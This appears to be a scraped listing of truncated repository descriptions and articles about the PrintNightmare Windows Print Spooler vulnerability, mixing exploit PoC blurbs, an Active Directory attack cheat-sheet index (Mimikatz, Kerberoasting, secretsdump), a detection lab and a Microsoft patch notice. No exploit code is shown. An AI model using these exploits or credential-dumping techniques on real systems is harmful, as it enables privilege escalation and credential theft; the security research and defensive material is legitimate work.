PrintNightmare - Windows Print Spooler RCE/LPE Vulnerability (CVE-2021-34527, CVE-2021-1675) Summary This is a remote code execution vulnerability that can be used to obtain SYSTEM level privileges by an authenticated remote user against Windows machines running the print spooler service An attacker could then use that access to create new accounts, attempt to install programs

Learn about the vulnerability known as PrintNightmare (CVE-2021-1675) and (CVE-2021-34527)

TryHackMe | PrintNightmare PrintNightmare Learn about the vulnerability known as PrintNightmare (CVE-2021-1675) and (CVE-2021-34527) Task 6 Detection: Windows Event Logs Event Viewer > Applications and Services Logs > Microsoft > Windows > PrintService > Admin %SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-PrintService%4Adminevtx Lo

A collection of Windows print spooler exploits containerized with other utilities for practical exploitation.

SpoolSploit A collection of Windows print spooler exploits containerized with other utilities for practical exploitation Summary SpoolSploit is a collection of Windows print spooler exploits containerized with other utilities for practical exploitation A couple of highly effective methods would be relaying machine account credentials to escalate privileges and execute malicio

Active directory Attacks and Scripts

Bloodhound Bloodhound Sharphound Cred dump AS-REP Roasting crackmapexec ntds Impacket secretsdump Kerberoasting Lazagne Mimikatz dcsync Mimikatz Logonpasswords Mimikatz minidump Pwdump READ NTDSdit File with Shadow Copy USEFULL Enumeration Active Directory Enumeration Bruteforce Check smb version and server info Enum Local Users Enum Shares rpcclient Lateral Movement Checking

CVE-2021-1675 (PrintNightmare)

CVE-2021-1675(PrintNightmare) system shell poc for CVE-2021-1675 (Windows Print Spooler Elevation of Privilege) credit: Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370) Ref: githubcom/afwu/PrintNightmare windows 10 windows server 2012 Credit to all researcher who find out this bug @404death

Repository for scripts of cyber security correlates

CVE-2021-1675 / CVE-2021-34527 Impacket implementation of the PrintNightmare PoC originally created by Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370) Tested on a fully patched 2019 Domain Controller Execute malicious DLL's remote or locally Installation Before running the exploit you need to install my version of Impacket and after that you're gucc

Kritische Sicherheitslücke PrintNightmare CVE-2021-34527

Kritische Sicherheitslücke PrintNightmare CVE-2021-1675, CVE-2021-34527 Out-of-Band (OOB) Security Update available for CVE-2021-34527 MSRC / By MSRC Team / July 6, 2021 *** Today Microsoft released an Out-of-Band (OOB) security update for CVE-2021-34527, which is being discussed externally as PrintNightmare This is a cumulative update release, so it contains all previous

Hi, I am Yerdaulet and my notes from PEH course 🚀 About Me I am Junior Penetration Tester 🔗 Links Content Recon Enumeration Initial attacks Post Compromise Enumeration Post Compromise Attacks After Compromising Domain Additional AD attacks AD Case Studies Certificate Recon Introduction is here! Discovering email addresses(links)=> h

CVE-2021-1675 / CVE-2021-34527 Impacket implementation of the PrintNightmare PoC originally created by Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370) Tested on a fully patched 2019 Domain Controller Execute malicious DLL's remote or locally Installation Before running the exploit you need to install my version of Impacket and after that you're gucc